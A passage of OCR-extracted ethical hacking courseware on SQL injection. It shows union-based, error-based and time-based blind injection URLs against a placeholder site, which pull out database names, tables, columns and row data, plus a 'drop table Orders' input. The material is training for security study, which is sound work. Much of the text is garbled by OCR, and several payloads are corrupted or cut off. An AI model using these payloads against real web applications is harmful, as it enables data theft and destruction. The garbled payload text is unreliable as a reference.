  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker U nion SQL In jectio n E x a m p le Union SQL Injection ‫ ־‬Extract Union SQL Injection - Extract Database Name Database Tables http://juggyboy.com/page. aspx?id=l UNION SELECT ALL 1,DB_NAME,3,4— [D B_N AM E] http://juggyboy.com/page.aspx?id=l UNION SELECT ALL 1,name,3,4 from sysobjects where xtype=char(85)-- Returnedfrom theserver [EMPLOYEE_TABLE] Returnedfromtheserver Union SQL Injection ‫ ־‬Extract Table Union SQL Injection - Extract 1st Column Names Field Data http://juggyboy. com/page.aspx?id=l UNION SELECT ALL 1 ,column_name,3,4 from DB_NAME. information_schema.columns where table_name ='EMPLOYEE_TABLE'— h t t p :/ / j u g g y b o y .c o m / p a g e .aspx?id=l UNION SELECT ALL 1,COLUMN-NAME1,3,4 from EMPLOYEE_NAME — [EM PLOYEE_NAME] [FIELD 1 VALUE] Returnedfrom theserver Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. Union SQL Injection Example UNION SQL injection is used when the user uses the UNION command. The user checks for the vulnerability by adding a tick to the end of a ".php? id=" file. If it comes back with a MySQL error, the site is most likely vulnerable to UNION SQL injection. They proceed to use ORDER BY to find the columns, and at the end, they use the UNION ALL SELECT command. Extract Database Name This is the example of union SQL injection in which an attacker tries to extract a database name, h t t p :/ / ju gg yb oy. com/page. asp x ?id = l UNION SELECT ALL 1 ,DB_NAME,3,4-[DB_NAME] Returned from the server Extract Database Tables This is the example of union SQL injection that an attacker uses to rxtract database tables. h t t p :/ / ju gg yb oy. com/page. asp x ?id = l s y s o b je c ts where x typ e= ch ar(85)-- UNION SELECT ALL 1 ,name,3,4 from [EMPLOYEE_TABLE] Returned from the server. Extract Table Column Names This is the example of union SQL injection that an attacker uses to extract table column names. Module 14 Page 2037 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker h t t p :/ / ju gg yb oy. com/page. asp x ?id = l UNION SELECT ALL 1, column name, 3, 4 from DB_NAME. in fo rm a tio n _ schema. Columns where t a b le _ name = 'EMPLOYEE_TABLE'-[EMPLOYEE_NAM E] Extract 1st Field Data This is the example of union SQL injection that an attacker uses to extract field data. h t t p : //ju g g yb o y. com/page. asp x ?id = l UNION from EMPLOYEE_NAME -- SELECT ALL 1, COLUMN-NAME-1, 3, 4 [FIELD 1 VALUE] Returned from the server Module 14 Page 2038 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL Injection Error Based Extra ct Database Name w http://juggyboy.com/page.aspx?id= 1 or l=convert(int,(DB_NAME))— a Syntax error converting the nvarchar value 1 [DB NAME]' to a column of data type int. CEH tilled IUkJ M M m* Extra ct 1st Database Table t http://juggyboy.com/page.aspx?id=l t or l=convert(int,(select top 1 name from sysobjects where xtype=char (8 5 )))— ‫ ט‬Syntax error converting the nvarchar value ,[TABLE NAME 1]' to a column of data type int. Extra ct 1st Table Colum n Name t http://juggyboy.com/page.aspx?id=l or t l=convert(int, (select top 1 column_name from DBNAME.information_schema.columns where table_name=' TABLE-NAME-1'))— » Extra ct 1st Field of 1st Row (Data) » http://juggyboy.com/page.aspx?id=l or l=convert(int, (select top 1 COLUMN-NAME-1 from TABLE-NAME-1))w Syntax error converting the nvarchar value '[FIELD 1 VALUE]' to a column of data type int. Syntax error converting the nvarchar value ,[COLUMN NAME 1]' to a column of data type int. Copyright © by IG-GOHCil. All Rights Reserved. Reproduction is Strictly Prohibited. SQL Injection Error Based The attacker makes use of the database-level error messages disclosed by an application. This is very useful to build a vulnerability exploit request. There are even chances of automated exploits based on the different error messages generated by the database server. Extract Database Name The following is the code to extract database name through SQL injection error-based method: h t t p :/ / ju g g yb oy. com/page. asp x ?id = l o r l= c o n v e r t ( in t , (DB_NAME)) — Syntax error converting the nvarchar value '[DB NAME]' to a column of data type int. Extract 1st Table Column Name The following is the code to extract the first table column name through the SQL injection errorbased method: h t t p :/ / ju g g yb oy. com/page. asp x ?id = l o r l= c o n v e r t ( in t , ( s e le c t column_name from DBNAME. in fo rm atio n _sch em a. columns table_nam e=1 TABLE-NAME-1' ) ) Syntax error converting the nvarchar value top 1 where '[COLUMN NAME 1]' to a column of data type int. Extract 1st Database Table Module 14 Page 2039 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker The following is the code to extract the first database table through the SQL injection errorbased method: h t t p :/ / ju g g yb oy. com/page. asp x ?id = l o r l= c o n v e r t ( in t , from s y s o b je c ts where x typ e= ch ar( 8 5 ) ) ) — ( s e le c t top 1 name Syntax error converting the nvarchar value '[TABLE NAME 1]' to a column of data type int. Extract 1st Field Of 1st Row (Data) The following is the code to extract the first field of the first row (data) through the SQL injection error-based method: h t t p :/ / ju g g yb oy. com/page. asp x ?id = l COLUMN-NAME -1 from TABLE-NAME-1) ) — Syntax error converting the nvarchar value Module 14 Page 2040 or l= c o n v e r t ( in t , ( s e le c t top 1 '[FIELD 1 VALUE]' to a column of data type int. Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker M odule Flow CEH U rtifM IthKJi lUch•( Copyright © by EG-GtODCil. All Rights Reserved. Reproduction is Strictly Prohibited. M odule Flow Previously we discussed various types of SQL injection attacks. Now, we will discuss each type of SQL injection attack in detail. Let us begin with the blind SQL injection attack. Blind SQL injection is a method that is implemented by the attacker when any server responds with any error message stating that the syntax is incorrect. (v W SQL Injection Concepts ^ 1* 0 Testing for SQL Injection SQL Injection Tools ') Types of SQL Injection (^q—1j Blind SQL Injection - Advanced SQL Injection ^— Evasion Techniques Countermeasures V‫- ׳‬ SQL Injection Methodology Module 14 Page 2041 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker This section introduces and gives a detailed explanation of blind SQL injection attacks. Module 14 Page 2042 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker W hat I s B lin d SQL In je c tio n ? CEH Copyright © by EC-ClllCil. All Rights Reserved. Reproduction Is Strictly Prohibited. What Is Blind SQL Injection? Blind SQL injection is used when a web application is vulnerable to SQL injection. In many aspects, SQL injection and blind injection are same, but there are slight differences. SQL injection depends on error messages but blind injections are not dependent on error messages. W here ever there is web application vulnerability, blind SQL injection can be used to either access the sensitive data or to destroy the data. Attackers can steal the data by asking a series of true or false questions through SQL statements. Results of the injection are not visible to the attacker. This is also more time consuming because every time a new bit is recovered, then a new statement has to be generated. Module 14 Page 2043 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker No Error Messages Returned ln this attack, when the attacker tries to perform SQL injection using a query such as: "I JuggyBoy'; drop table Orders - ", to this statement, the server throws an error message with a detailed explanation of the error with database drivers and ODBC SQL server details in simple SQL injection; however, in blind SQL injection, the error message is thrown to just say that there is an error and the request was unsuccessful without any d e ta ils .( JuggyBoy' drop table Orders -‫־‬ ; Blind SQL Injection (Attack Successful) Simple SQL Injection M ic r o s o f t OLE DB P r o v id e r f o r ODBC D r iv e r • • r r o r '8 00 4 0*14 ‫־‬ (M ic r o s o f t ) [COBC SQL S e r v e r D r iv e r J (SQL S e r v e r ](Jn o lo s e d q u o t a t io n ■ ark b e fo r e th e c h a ra a te r s trin g * '. / s h o p p in g / b u y . a s p x , l i n e 52 F IG U R E 14.13: No Error M essages R eturned Module 14 Page 2044 Ethical Hacking and Countermeasures Copyright © by EC-C0l1nCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Blind SQL Injection: WAITFOR DELAY YES or NO Response ; I F EXISTS (SELECT * FROM creditcaxd) WAITFOR DELAY '0:0 :1 0 *— Copyright © by EG-GWHICil. All Rights Reserved. Reproduction is Strictly Prohibited. Blind SQL Injection: W A ITFO R DELAY YES or NO Response Step 1:; IF EXISTS(SELECT * FROM creditcard) WAITFOR DELAY '0:0:10'Step 2: Check if database "creditcard" exists or not Step 3: If No, it displays "W e are unable to process your request. Please try back later". Step 4: If YES, sleep for 10 seconds. After 10 seconds displays "W e are unable to process your request. Please try back later". Since no error messages are returned, use the 'waitfor delay' command to check the SQL execution status W A IT FOR DELAY ,time' (Seconds) This is just like sleep; wait for a specified time. The CPU is a safe way to make a database wait. WAITFOR DELAY '0 :0 :1 0 '- BENCHMARK() (Minutes) This command runs on MySQL Server. BENCHMARK(howmanytimes, do t h is ) Module 14 Page 2045 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker ©OG0 ; IF EXISTS (SELECT * FROM creditcard) WAITFQR DELAY '0:0:10'— Oops! W e are unable to process your request. Please try back later. Since no error messages are returned, use ,w a i t f o r d e l a y ' command to check the SQL execution status Oops! W e are unable to process your request. Please try back later. FIGURE 14.14: WAITFOR DELAY YES or NO Response Module 14 Page 2046 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Blind SQL Injection Exploitation (MySQL) r c1 1 ™~ 5 Searching for the first character of the first table entry /?id=l+AND+555=if(ord(mid((select+pass+from Searching for the second character of the first table entry users+limit+0 ,1) ,1,1) )= [971,555,777) /?id=l+AND+555=if(ord(mid((select+pass from+users+limit+O, 1 ) , 2 , 1))= [9 7 1 5 5 5 ,777) If the table "users" contains a column "pass" and the first character of the first entry in this column is 97 (letter "a"), then If the table "users" contains a column "pass" and the second character of the first entry in this column is 97 DBMS will return TRUE; otherwise, FALSE. (letter « a » ), then DBMS will return TRUE; otherwise, FALSE. Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. Blind SQL Injection ‫ ־‬Exploitation (MySQL) SQL injection exploitation depends on the language used in SQL. An attacker merges two SQL queries to get more data. The attacker tries to exploit the Union operator to easily get more information from the databaase management system. Blind injections help an attacker to bypass more filters easily. One of the main differences in blind SQL injection is entries are read symbol by symbol. Searching for the first character of the first table entry / ?id=l+AND+555=if(ord(m id( (select+ pass+ from 97.555.777) u s e rs+ lim it+ 0 ,1 ) ,1 , 1 )) = If the table "users" contains a column "pass" and the first character of the first entry in this column is 97 (letter "a"), then DBMS can return TRUE; otherwise, FALSE. Searching for the second character of the first table entry / ?id=l+AND+555=if(ord(m id( (sele ct+ p a ss 97.555.777) from +users+lim it+O,1 ) ,2 , 1 )) = If the table "users" contains a column "pass" and the second character of the first entry in this column is 97 (letter «a»), then DBMS can return TRUE; otherwise, FALSE. Module 14 Page 2047 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Blind SQL Injection - Extract D atabase User CEH Finding a full user name of 8 characters using binary search method takes 56 requests Check for username length h t t p : / / j u g g y b o y . c o m / p a g e .a s p x ? id = l; I F (L E N (U S E R )=1) WAITFOR DELAY '0 0 : 0 0 :1 0 ‫י‬ h t t p :/ / ju g g y b o y . c o m / p a g e .a s p x ? id = l; I F (L E N (U S E R )= 2 ) WAITFOR DELAY '0 0 :0 0 :1 0 • h t t p :/ / ju g g y b o y . c o m / p a g e .a s p x ? id = l; I F (L E N (U S E R )=3) WAITFOR DELAY '0 0 : 0 0 :1 0 ' 17 ‫נ‬ Check if 1st character in username contains 'A' (a=97), 'B', or ,C etc. h t tp :/ / ju g g y b o y .c o m / p a g e .a s p x ?id = l; I F ( A S C I I(lo w e r (s u b s t r in g ((U S E R ),1 ,1 )))= 9 7 ) WAITFOR DELAY '0 0 :0 0 :1 0 ' h t tp :/ / ju g g y b o y .c o m / p a g e .a s p x ?id = l; I F ( A S C I I(lo w e r (s u b s t r in g ((U S E R ),1 ,1 )))= 9 8 ) WAITFOR DELAY '0 0 :0 0 :1 0 ' h ttp :/ / ju g g y b o y .c o m / p a g e .a s p x ?id = l; I F ( A S C I I(lo w e r (s u b s t r in g ((U S E R ),1 ,1 )))= 9 9 ) WAITFOR DELAY '0 0 :0 0 :1 0 ' Check if 2n character in username contains ‫׳‬A' (a=97), 'B', or *C etc. d h ttp :/ / ju g g y b o y .c o m / p a g e .a s p x ?id - l; I F ( A S C I I(lo w e r (s u b s t r in g ((U S E R ), 2 , 1 ) ) ) - 9 7 ) WAITFOR DELAY '0 0 :0 0 :1 0 ' h ttp :/ / ju g g y b o y .c o m / p a g e .a s p x 7 id - l; I F ( A S C I I(lo w e r (s u b s t r in g ((U S E R ), 2 , 1 ) ) ) - 9 8 ) WAITFOR DELAY '0 0 :0 0 :1 0 ' h ttp :/ / ju g g y b o y .c o m / p a g e .a s p x 9 id - l; I F ( A S C I I (lo w e r (s u b s t r in g ((U S E R ), 2 , 1 ) ) ) - 9 9 ) WAITFOR DELAY '0 0 :0 0 :1 0 ' Check if 3rd character in username contains 'A' (a=97), 'B 1 or 'C etc. , h ttp :/ / ju g g y b o y .c o m / p a g e .a s p x ?id = l; I F ( A S C I I(lo w e r (s u b s t r in g ((U S E R ),3 ,1 )))= 9 7 ) WAITFOR DELAY '0 0 :0 0 :1 0 ' h ttp :/ / ju g g y b o y .c o m / p a g e .a s p x ?id = l; I F ( A S C I I(lo w e r (s u b s t r in g ((U S E R ),3 ,1 )))= 9 8 ) WAITFOR DELAY '0 0 :0 0 :1 0 ' h ttp :/ / ju g g y b o y .c o m / p a g e .a s p x ?id = l; I F ( A S C I I(lo w e r (s u b s t r in g ((U S E R ),3 ,1 )))= 9 9 ) WAITFOR DELAY '0 0 :0 0 :1 0 ' Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. Blind SQL Injection ‫ ־‬Extract Database User In the blind SQL injection method, the attacker can extract the database user name. The attacker can probe yes/no questions from the database server to extract information from it. To find the first letter of a user name with a binary search, it takes 7 requests and for 8 char long name it takes 56 requests. Module 14 Page 2048 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Finding a full username of 8 characters using binary search method takes 56 requests Check for username length http://juggyboy.com/page.aspx?id=l; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'— http://juggyboy.com/page.aspx?id=l; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'— http://juggyboy.com/page.aspx?id=l; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'— Check if 1st character in usernam e contains ,a 1(a=97), !b or ,c1etc. http://juggyboy.con/page.aspx?id=l; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10' http://juggyboy.con/page.aspx?id=l; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10' http://juggyboy.con/page.aspx?id=l; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10' Check if 2n character in username contains 1 (3=97), ,b', or ,c1 etc. d a1 http://juggyboy.con/page.aspx?id=l; IF (ASCII(lower(substring((USER),2,1)))=97) WAITFOR DELAY '00:00:10 ‫־‬ http://juggyboy.con/page.aspx?id=l; IF (ASCII(lower(substring((USER),2,1)))-98) WAITFOR DELAY ’00:00:10' http://juggyboy.con/page.aspx?id=l; IF (ASCII(lower(substring((USER),2,1)))=99) WAITFOR DELAY '00:00:10' Check if 3rd character in usernam e contains ,a 1(a=97), ,b', or ,c1etc. http://juggyboy.con/page.aspx?id=l; IF (ASCII(lower(substring((USER),3,1)))=97) WAITFOR DELAY 00:00:10‫'־‬ http://juggyboy.con/page.aspx?id=l; IF (ASCII(lower(substring((USER),3,1)))=98) WAITFOR DELAY '00:00:10' http://juggyboy.con/page.aspx?id=l; IF (ASCII(lower(substring((USER),3,1)))=99) WAITFOR DELAY '00:00:10' FIGURE 14.15: Extract Database User Module 14 Page 2049 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Blind SQL Injection - Extract D atabase N am e CEH C h eck fo r D a ta b a s e N a m e Length and N a m e http://juggyboy.com/page.aspx?id=l; I F (LEN(DB_NAME())=4) WAITFOR DELAY 00: 00: 10‫— '־‬ h t t p ://juggyboy.com/page.aspx?id= l; I F (A SC II(lo w e r(s u b strin g ( (DB_NAME()),1 ,1 )))= 9 7 ) http://juggyboy.com/page.aspx?id=l; I F (ASCII(lower(substring((DB_NAM E()),2 ,1 )))= 9 8 ) WAITFOR DELAY '00:00:10‫י‬ h t t p ://juggyboy.com/page.aspx?id= l; I F (ASCII(lower(substring((DB_NAM E()),3 ,1 )))= 9 9 ) WAITFOR DELAY '00:00:10' h t t p ://juggyboy.com/page.aspx?id= l; I F (A SC II(lo w e r(s u b strin g ( (DB_NAME( ) ) , 4 , 1 ) ) ) =100) WAITFOR DELAY '00:00:10‫י‬ WAITFOR DELAY '00:00:10‫י‬ Database Name = ABCD http://juggyboy. com/page. aspx?id-l; WAITFOR DELAY ' 0 0 : 0 0 : 1 0 ' — http://juggyboy.com/page.aspx7id-l; xtype-char(85)),1,1)))-101) WAITFOR http://juggyboy.com/page.aspx7id-l; xtype-char(85)), 2 , 1 ) ))-109) WAITFOR http://juggyboy.com/page.aspx7id-l; xtype-char(85)),3,1)))=112) WAITFOR IF (LEN(SELECT TOP 1 NAME from sysobjects where xtype-1 ')3‫)״‬ U IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where DELAY '00:00:10'-IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where DELAY ' 0 0 : 0 0 : 1 0 '- IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where DELAY '00:00:10'— Table Name = EM P Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. ^ Blind SQL Injection ‫ ־‬Extract Database Nam e In the blind SQL injection method, the attacker can extract the aatabase name using the time-based blind SQL injection method. Here, the attacker can brute force the database name by using time before the execution of the query and set the time after query execution; then he or she can assess from the result that if the time lapse is 10 seconds, then the name can be 'A‫;׳‬ otherwise, if it took 2 seconds, then it can't be 'A'. Module 14 Page 2050 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Check for Database Name Length and Name h t t p : //juggyboy . com/page . aspx?id=l ; I F (LEN (DB_NAME () )=4) WAITFOR DELAY '00:00:10' — h t t p : //juggyboy.com/page. asp x?id= l; I F (A S C II(lo w e r(s u b s trin g ( (DB_NAME( ) ) , 1 , 1 ) ) )=97) h t t p :// juggyboy. cocn/page. asp x ?id= l; I F (A SCII (lower (su bstring ( (DBNAME ( ) ) ,2 , 1 ) ) ) =98) WAITFOR DELAY '00:00:10‫— ״‬ h t t p : //juggyboy.com/page.asp x?id= l; I F (A S C II(lo w e r(s u b s trin g ( (DB_NAME( ) ) , 3 , 1 ) ) ) =99) WAITFOR DELAY '0 0 :0 0 :1 0 '— http://juggyboy.com /page.aspx?id=l; I F (A S C II(lo w e r(s u b s trin g ( (DBNAME( ) ) , 4 , 1 ) ) ) =100) WAITFOR DELAY '0 0 :0 0 :1 0 '— WAITFOR DELAY '0 0 :0 0 :1 0 '— Database Name = ABCD Extract 1st Database Table http://juggyboy.com/page. aspx?id=l; WAITFOR DELAY '00:00:10'— http://juggyboy. com/page. aspx?id=l; xtype=char (85)) ,1,1)) )=101) WAITFOR http://juggyboy.com/page. aspx?id=l; xtype=char(85)),2,1)))=109) WAITFOR http://juggyboy. com/page. aspx?id=l; xtype=ahar(85)),3,1)))=11?) WAITFOR IF (LEN(SELECT TOP 1 NAME from sysobjects where xtype=' ' =3) U ) IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjeats where DELAY '00:00:10' — IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjeats where DELAY '00:00:10' — IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjeats where DELAY '00:00:10‫י‬ — Table Name = EMP F IG U R E 14.16: Extract D atabase N am e Module 14 Page 2051 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Blind SQL Injection - Extract Colum n N am e C EH E x tra ct 1st T ab le C o lu m n N a m e h t t p :/ / juggyboy.com/page.asp x ?id = l; I F (LEN(SELECT TOP 1 column name from ABCD. info rm atio n schema. columns where table_name= ‫י‬EMP')=3) WAITFOR DELAY '00:00:10' — h t t p :/ / juggyboy.com/page.asp x ?id = l; I F (A S C II(lo w e r(s u b s trin g ( (SELECT TOP 1 column_name from ABCD. inform ation_schem a. columns where table_name=' EMP' ) , 1 , 1 ) ) ) =101) WAITFOR DELAY '0 0 :0 0 :1 0 '— h t t p :/ / juggyboy.com/page.asp x ?id = l; I F (A S C II(lo w e r(s u b s trin g ( (SELECT TOP 1 column_name from ABCD.inform ation_schem a.columns where table_name='EMP' ) , 2 , 1 ) ) ) =105) WAITFOR DELAY '0 0 :0 0 :1 0 '— h t t p :/ / juggyboy.com/page.asp x ?id = l/ I F (A S C II(lo w e r(s u b s trin g ( (SELECT TOP 1 column_name from ABCD.inform ation_schem a.columns where table_name=*EMP' ) , 3 , 1 ) ) ) =100) WAITFOR DELAY '00:00:10'-- Column Name = EID — m i 1 1 1 1 1 1 1 1 1 1 1 1 1111 E x tra ct 2nd Table C o lu m n N a m e http ://juggyboy. com/page, aspx? id-1; IF (LEN (SELECT TOP 1 column_name from ABCD. in f ormation_schema. columns where table_name-' EMP' and column_name>' EID 4- (‫ ) י‬WAITFOR DELAY '00:00:10•— http://juggyboy.com/page.aspx7id-l; IF (A SC II(low er(substring( (SELECT TOP 1 column_name from ABCD.information_schema.columns where table_name-' EMP' and column_name>' EID ' ) , 1 , 1 ) ) )-100) WAITFOR DELAY '00:00:10'http://juggyboy.com/page.aspx7id-l; IF (A SC II(low er(substring( (SELECT TOP 1 column_name from ABCD.information_schema.columns where table_name=' EMP' and column_name>' EID ' ) , 2 , 1 ) ) ) -101) WAITFOR DELAY '00:00:10'http://juggyboy.com/page.aspx?id=l; IF (A SC II(low er(substring( (SELECT TOP 1 column_name from ABCD.information_schema.columns where table_name=' EMP' and column_name>' EID ' ) , 3 , 1 ) ) )=112) WAITFOR DELAY '00:00:10'http://juggyboy.com/page.aspx?id=l; IF (A SC II(low er(substring( (SELECT TOP 1 column_name from ABCD.information_schema.columns where table_name=' EMP' and column_name>' EID ' ) , 4 , 1 ) ) ) =116) WAITFOR DELAY '00:00:10'- Column Name = DEPT Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. Blind SQL Injection ‫ ־‬Extract Column Nam e In the blind SQL injection method, the attacker can extract the column names using different brute force methods or tools using which he or she can check for the first table column name and the second table column name. Extract 1st Table Column Name h t tp :/ / ju g g y b o y .coct/page . aspx‫ ־‬id - l * I F (LEN(SELECT TOP 1 co lu s ‫־‬r . _ r . f r o n whore t a b le name- ‫ י‬EM I'‫ - ) י‬J ) MA1TFOR DELAY ■00:00:10 ABCD. in fo r m a tio n _ 9 c h e n a . colu m n s h t tp :/ / ju g g y b o y . co«/p»g• 1 1 p x ?1 d s l: 1r (A S C II (lo v e r ( s u b s t r in g ( (SELECT TOP 1 e o lim n name from ABCD. in forma t io : _schw»n‫ ״‬c o lu m n s where ta b le _ n a !r « « ' E M P ') , 1 , 1 ) ) )■101) WAIYFOR DELAY '00 0 0 :1 0 ' — * 1 h ttp :/ / ju g g y b o y .c o n / p a g e .asp x ?id - 1 . I F (A S C II(lo w e r (s u b s tr in g ((S E L E C T TOP 1 colunn_nane from ABCD. inform ataon_scheraa. columns where ta b le_r.am e -'E M P') ,2 ,1 )) )-105) WAITFOR DELAY ‫- י 01 :00 :00 י‬h ttp :/ / ju g g y b o y .c o re / p a g e .a s p x ? ld = l; I F (A S C II(lo w e r (s u b s tr in g ((S E L E C T TOP 1 column nano from A B C D .in fo rm atio n _B c h an a.columns where table_ram e= ' EM P ') , 3 , 1 ) ) )■100) WA1TFOR DELAY '0 0 :0 0 :1 0 '- - Column Name =EID Extract 2nd Table Column Name h te p ://j u g g y b o y .c a a /p a g e .& £ p x ? 3 .d = l; I F (1-EN | SELECT TCS 1 c o l a n r . i x e f r c n ABCD. i n f o r a a t i s r . s c h a i u . colum ns x k e re t a b l e _ ‫ ״‬a n e - ‫־‬EMP’ a n d c o lu n n _ n a n s> EID 4- ( ‫ ־‬KATTrOP DELAY '0 0 : 0 0 7 1 0 '- ) h t t p : / / j u g g y b o y • 0 c « /p « g * .a « p x '>1.*Bl r I F (ASCI I ( lo w e r ( s u b s t r i n g ( (SKLECT TOP 1 eolumn_nacr* from ABCD. i n f o r a a tio n _ 3 c h c a a . c o l us® ‫ ב‬w h ere ta b lc _ n m r^ ■ ‫ ־‬EH? ‫ * ־‬a d c o 1 w _ 3 c o k > ' E IS ' ) , 1 ,1 ) ) ) ■100) WAITTOR h t t p : / / J u g g y b o y .c c a / p a g e . a s p x ‫ ־‬d E i ; i f (ASCII (lo w e r ( s u b s t r i n g ( (SELECT TOP l colux» _n<*r« f r o n >l A B C D .in fo z tta tio n s c h s a a .c o lu a m • w h ere t a b l e m m - ' EMP‫ ־‬a nd ‫־. . •»* .« ־‬ >a*e> EID 101- ( ( (2 , 1 , (‫ )־‬WAITFOR h t t p : / / j u g g y b o y . c o n / p a g e . a s p x * i d - l ; 2F ( A S C I I ( lo w e r ( s u b s tr in g ( (SELECT TOP 1 c o lu n ! >«x« from ABC□, i n f o n r j t i o n e rh o n a e o l u m i w h ere t a b l e nw e=E N S >' and ‫ . ־ ־‬i n r n a a e V E I ' ) , 3 , 1 )7 ) =i 12) WAITFOR h t t p ! / / j u g g y b o y . a a n /p a g e . a s p x ? d = l .* I F (ASCII (lo w e r ( s u b s tr .rv g ( (SELECT TOP 1 colum n nacce f r o n ABCD. in f o r m a tl o n _ s c h e a a . c o lu n n s w here ta b le _ n a & e > ‫־‬EMP' a nd colu*r_r»a»e>• EID ) ,4 , 1) ) )■116) WAITFOR 1 1 1 DELAY '0 0 : 0 0 : 1 0 '- DELAY 0 0 : 0 0 : 1 0 '- - DELAY 0 0 :0 0 :1 0 • - - DELAY 0 0 : 0 0 : 1 0 '- - Column Name = DEPT FIGURE 14.17: Extract Database User Module 14 Page 2052 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Blind SQL Injection - Extract Data from ROWS CEH Extract 1st Field of 1st Row h t t p : / / ju g g y b o y . c o m / p a g e . a s p x ? id = l; IF (LEN(SELECT TOP 1 EID from EMP)=3) WAITFOR DELAY '0 0 :0 0 :1 0 '— h t t p : / / ju g g y b o y . c o m / p a g e . a s p x ? id = l; IF (A SC II (s u b strin g ( (SELECT TOP 1 EID from EM P), 1 , 1 ) ) =106) WAITFOR IF (A SC II (s u b strin g ( (SELECT TOP 1 EID from EMP) ,2 ,1) ) =111) WAITFOR IF (A SC II (s u b strin g ( (SELECT TOP 1 EID from EMP) , 3,1) )=101) WAITFOR DELAY '00:00:10 *— h t t p : / / ju g g y b o y .co m /p a g e . a s p x ? id = l; DELAY '0 0 :0 0 :1 0 ‫—״‬ h t t p : / / ju g g y b o y . c o m / p a g e . a s p x ? id = l; DELAY '00:00:10 *— Field Data = JOE E x tra ct 2nd Field o f 1st R o w h t t p :/ / juggyboy. com/page. aspx?id— I F 1; (LEN(SELECT TOP 1 DEPT from EMP)-4) WAITFOR DELAY '00:00:10 h t t p :/ / juggyboy.com/page. aspx?id— ; I F 1 WAITFOR DELAY '0 0 :0 0 :1 0 '— (A SC II(su b strin g ((S E L E C T TOP 1 DEPT from EM P), 1 , 1 ) ) -100) h t t p :/ / juggyboy.com/page. a s p x ?id - l; I F WAITFOR DELAY '0 0 :0 0 :1 0 '‫־־‬ (A SC II(su b strin g ((S E L E C T TOP 1 DEPT from EMP) 111-( ( 2, 1‫) ׳‬ h t t p :/ / juggyboy.com/page. asp x ?id = l; I F WAITFOR DELAY '0 0 :0 0 :1 0 '— (A SC II(su b strin g ((S E L E C T TOP 1 DEPT from EM P), 3 , 1 ) ) -109) h t t p :/ / juggyboy.com/page. asp x ?id = l; I F WAITFOR DELAY '0 0 :0 0 :1 0 '— (A SC II(su b strin g ((S E L E C T TOP 1 DEPT from EMP) 112=( ( 1‫) ׳ 3 ׳‬ Field Data = COMP Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. Blind SQL Injection ‫ ־‬Extract Data from ROWS In the blind SQL injection method, the attacker can extract the data from the rows using the command with the "IF" keyword and check if the first character of the word in the 